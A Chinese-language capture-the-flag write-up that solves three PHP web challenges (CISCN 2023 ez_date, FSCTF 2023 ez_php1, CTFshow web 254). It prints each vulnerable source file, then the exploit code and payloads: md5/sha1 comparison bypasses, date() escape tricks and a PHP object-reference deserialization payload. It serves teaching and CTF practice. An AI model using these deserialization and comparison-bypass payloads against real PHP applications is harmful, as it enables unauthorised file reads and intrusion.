[CISCN 2023 华北]ez_date
题目:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
-
unserialize调用__wakeup()
php
if(is_array($this->a)||is_array($this->b))
#禁用了数组绕过
#这里直接让a=1,b='1',就可以绕过三个条件,这俩md5和sha1都是一样的
php
$content=date($this->file);
# $content接受经过被date函数格式化后的变量file
# date()的说明:
# 该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等
# 检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出
php
$uuid=uniqid().'.txt';
# uniqid()生成一个时间戳,将生成的时间戳拼接.txt给$uuid
php
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
- 开头的"/"和i前的"\"表示正则表达式语法的开始和结束
- (\s)* :匹配零个或多个空白字符(空格、制表符等)
- (\n)+ :匹配一个或多个换行符
- (\s)* :再次匹配零个或多个空白字符
- i :修饰符,表示不区分大小写
正则表达式会将上述空白字符和换行符都替换为空字符串。
php
file_put_contents($uuid,$content);
说明:
file_put_contents($uuid, $content);
是 PHP 中的一个函数调用,用于将一个字符串(内容)写入到一个文件中。这个函数简化了文件打开、写入和关闭的过程。这里是这个函数的基本解释和参数说明:
file_put_contents($filename, $data, $flags = 0, $context = null)
$filename
($uuid
在此例中):你希望写入内容的文件路径和名称。在这个例子中,$uuid
应该是一个包含唯一标识符(由uniqid()
生成)加上.txt
扩展名的字符串,用于创建或覆盖一个具有唯一名称的文件。$data
($content
在此例中):你要写入文件的数据,可以是任何字符串。$flags
:这是一个可选参数,用于指定如何写入数据,比如FILE_APPEND
可以用于在文件末尾追加内容而不是覆盖。默认是0
,表示覆盖模式写入。$context
:也是一个可选参数,通常用于提供特定的上下文选项,比如HTTP、FTP等上下文。在大多数情况下,这个参数不需要设置。所以,
file_put_contents($uuid, $content);
这行代码的作用是把变量$content
中存储的字符串数据写入到一个新创建的、以其UUID为名字(加上.txt
后缀)的文件中。如果文件已存在,它将被覆盖;如果要追加内容而不是覆盖,可以传递FILE_APPEND
作为第三个参数。
php
<?php
$c='/flag';
print(date($c));
?>
运行一下得到/fThursdaypm11
,date()
会把特定字符格式化为当前时间戳,比如这里,把l
换成了星期四Thursday
a
换成了pm g
换成了时间11
解决方法:转义字符\绕过: /f\l\a\g
get方式把base64编码后的序列化字符串用code传进去就拿到flag了
[FSCTF 2023]ez_php1
第一关
弱比较随便绕
php
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
echo "!!!";
$c = $_POST['FL_AG'];
if(isset($c))
{
if (preg_match('/^.*(flag).*$/', $ja)) {
echo 'You are bad guy!!!';
}
else {
echo "Congratulation!!";
echo $hint1;
}
}
else {
echo "Please input my love FL_AG";
}
} else{
die("game over!");
}
?>
game over!
拿到下一关的目录L0vey0U.php
第二关
php
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
echo "$hint2";
}
?>
flag{This_is_fake_flag}
把key序列化一下s:10:"YES I love";
,然后GET方式传进去拿到下一关的目录P0int.php
第三关
php
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);
?>
这里有unserialize反序列化,要想反序列化就得先明白序列化。
序列化
在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是反序列化,主要是为了方便对象传输。所以当我们把一段php代码序列化之后,通过GET or POST方法传进去,php引擎是可以通过unserialize函数读取的
PHP基本类型的序列化
php
bool: b:value =>b:0
int: i:value=>i:1
str: s:length:"value";=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:"a"}
object:O:<class_name_length>:
NULL: N
序列化前
php
<?php
class test{
public $a=false;
public $b=3;
public $c='hello';
public $d=array(1,2,3,'hello');
public $e=NULL;
}
$test = new test;
echo serialize($test);
?>
序列化后
O:4:"test":5:{s:1:"a";b:0;s:1:"b";i:3;s:1:"c";s:5:"hello";s:1:"d";a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:"hello";}s:1:"e";N;}
R与r
当两个对象本来就是同一个对象时会出现的对象将会以小写r表示。
不过基础类型不受此条件限制,总是会被序列化
为什么?(看完"分析"以后再看这里)
php
<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}
而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示
php
<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}
魔术方法
这里用到了php魔术方法,简单概括就是当对某个对象进行某种操作(创建,销毁等)时,就会自动调用魔术方法
eg:例如题目中有一个类名为Clazz的class类,比如当我们unserialize了一个Clazz,在这之前会调用__wakeup,在这之后会调用 destruct
exp:
php
<?php
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?>
序列化后得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
R为2代表是第二个反序列化元素被引用
POST方法传进data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=
php
<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
php
<?php
class Clazz
{
public $a;
public $b;
}
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);
这样写exp也是可以的,在exp里我们只需要让b成为a的引用,让b和a的内存地址是一样的。
当我们把payload传进data之后,在@unserialize($_POST['data'])前会调用wakeup魔术方法,然后flag会传进a的内存地址,然后在序列化过程中将属性b设置为属性a的应用,然后就就会调用destruct魔术方法echo出b
这里的 @
前缀作用如下:
- 抑制错误 :如果
unserialize($_POST['data'])
在执行过程中遇到错误(如序列化数据格式不正确、类不存在、魔术方法引发的异常等),@
运算符会阻止这些错误信息被输出到浏览器或日志中。这对于攻击者来说可能是有利的,因为他们可以隐藏其攻击尝试的痕迹,避免被管理员或其他监控系统检测到。 - 继续执行 :即使
unserialize()
函数内部发生了错误,由于错误被抑制,程序不会立即停止执行。这使得攻击者有机会尝试多种不同的攻击载荷,而不必担心单次尝试失败导致整个请求中断。 - 安全风险 :使用
@
错误抑制符可能导致安全问题难以被及时发现和修复。由于错误信息被隐藏,管理员可能无法意识到系统存在潜在的反序列化攻击或其他安全漏洞。此外,攻击者也可能利用@
运算符掩盖其利用反序列化漏洞执行恶意代码的过程。
CTFSHOWweb入门254
题目
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
解题思路:
- 触发vipOneKeyGetFlag
- $this->isVip为真
这题目跟反序列化没关系,主要是考验对代码逻辑是否清晰,怎么调用的
只需要/?username=xxxxxx&password=xxxxxx